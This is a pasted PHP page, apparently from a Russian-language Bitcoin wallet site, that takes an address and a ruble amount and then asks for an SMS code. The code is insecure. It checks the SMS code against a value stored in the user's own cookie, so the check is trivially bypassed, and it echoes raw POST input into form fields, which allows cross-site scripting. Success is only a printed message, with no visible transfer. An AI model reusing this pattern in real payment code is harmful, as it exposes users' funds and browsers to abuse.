PHP


SUBMITTED BY: bitcoinminers

DATE: Jan. 5, 2016, 7:15 p.m.

FORMAT: Text only

SIZE: 4.5 kB

HITS: 110943

  1. <?php
  2. $location = '1';
  3. include '../inc/conf.php';
  4. include '../inc/auth.php';
  5. echo $head;
  6. include '../inc/block.php';
  7. $act=trim($_GET['act']);
  8. if (isset($_POST['submit'])&&$act == 'pay'){
  9. $err = array();
  10. if (!preg_match("/^\d+$/",$_POST['money'])){
  11. $err[] = "Сумма только из цифр!";
  12. }
  13. if (!preg_match("/^([a-zA-Z0-9]){15}$/i",$_POST['check'])||preg_match("/^([a-zA-Z]){15}$/i",$_POST['check'])||preg_match("/^([0-9]){15}$/i",$_POST['check'])){
  14. $err[] = "В номере счёта только: латинские символы, цифры, длина 15 символов!";
  15. }
  16. if (trim($_POST['check']) == ''){
  17. $err[] = "Введите ваш счет!";
  18. }
  19. if (trim($_POST['money']) == ''){
  20. $err[] = "Введите сумму!";
  21. }
  22. if (count($err) != 0) {
  23. $error = '';
  24. foreach ($err as $i => $value) {
  25. $error .= $value.'</br>';
  26. }
  27. }
  28. $check = htmlspecialchars($_POST['check']); // Номер
  29. $money = htmlspecialchars($_POST['money']); // Сумма
  30. # Данные для смс и отправка
  31. $num = $userdata['login']; // Номер
  32. $api = $userdata['api_sms']; // Апи
  33. echo SMS($num, $api); // Функция смс
  34. # Подтверждение
  35. $lol = '<font color="green"><center>Вы подтверждаете, что хотите отправить на номер: <b>'.$check.'</b><br>Сумму в размере: <b>'.$money.' RUB</b></center></font></br>';
  36. }
  37. if (isset($_POST['submit2'])&&$act == 'pay'){
  38. $gen2 = $_COOKIE["KEK"]; // дублируем куку
  39. $kod = trim($_POST['kod']); // Код смс
  40. $result = ($kod == $gen2) ? 'Операция успешно завершена!' : 'Вы ввели неверный код!';
  41. }
  42. ?>
  43. <div class="tab-pane fade in active" id="send">
  44. <div class="row text-left">
  45. <div class="col-lg-12">
  46. <ul class="nav nav-rates nav-tabs nav-justified" role="tablist">
  47. <li class="active"><a href="#sendtoaddress" role="tab" data-toggle="tab">Отправить по адресу</a></li>
  48. </ul>
  49. <div class="tab-content">
  50. <div class="tab-pane active" id="sendtoaddress">
  51. </br></br>
  52. <?php
  53. if (!isset($_POST['submit'])||count($err) != 0){
  54. echo
  55. '<form method="post" action="?act=pay">
  56. <div class="row text-center">
  57. <div class="col-sm-6 col-sm-offset-3">
  58. <div class="form-group">
  59. <p>'.$result.$error.'</p>
  60. <label for="walletSendConfirmModal-code">Номер счета [BTC]</label>
  61. <input type="text" id="walletSendConfirmModal-code" class="form-control input-lg" data-isotp="false" name="check" value="'.$_POST['check'].'" required/>
  62. <p class="error text-danger" style="display:none;border:0px;margin-top:5px;padding:5px;"></p>
  63. <label for="walletSendConfirmModal-code">Сумма [RUB]</label>
  64. <input type="text" id="walletSendConfirmModal-code" class="form-control input-lg" data-isotp="false" name="money" value="'.$_POST['money'].'" required/>
  65. <p class="error text-danger" style="display:none;border:0px;margin-top:5px;padding:5px;"></p>
  66. </div>
  67. </div>
  68. </div>
  69. <div class="modal-footer">
  70. <input type="submit" name="submit" class="btn btn-info modalFormSubmitButton" id="walletSendToEmailConfirmModal-send" value="Далее">
  71. </div>
  72. </form>';
  73. } else {
  74. echo
  75. '<form method="post" action="?act=pay">
  76. <div class="row text-center">
  77. <div class="col-sm-6 col-sm-offset-3">
  78. <div class="form-group">
  79. <p>'.$lol.'</p>
  80. <label for="walletSendConfirmModal-code">СМС-код</label>
  81. <input type="text" id="walletSendConfirmModal-code" class="form-control input-lg" data-isotp="false" name="kod" required/>
  82. <p class="error text-danger" style="display:none;border:0px;margin-top:5px;padding:5px;"></p>
  83. </div>
  84. </div>
  85. </div>
  86. <div class="modal-footer">
  87. <input type="submit" name="submit2" class="btn btn-info modalFormSubmitButton" id="walletSendToEmailConfirmModal-send" value="Подтвердить и отправить">
  88. <button type="button" onclick="javascript:document.location.href=\'/send\'" class="btn btn-default" data-dismiss="modal">Отменить</button>
  89. </div>
  90. </form>';
  91. }
  92. ?>
  93. </div>
  94. </selection>
  95. <?php echo $foot; ?>

comments powered by Disqus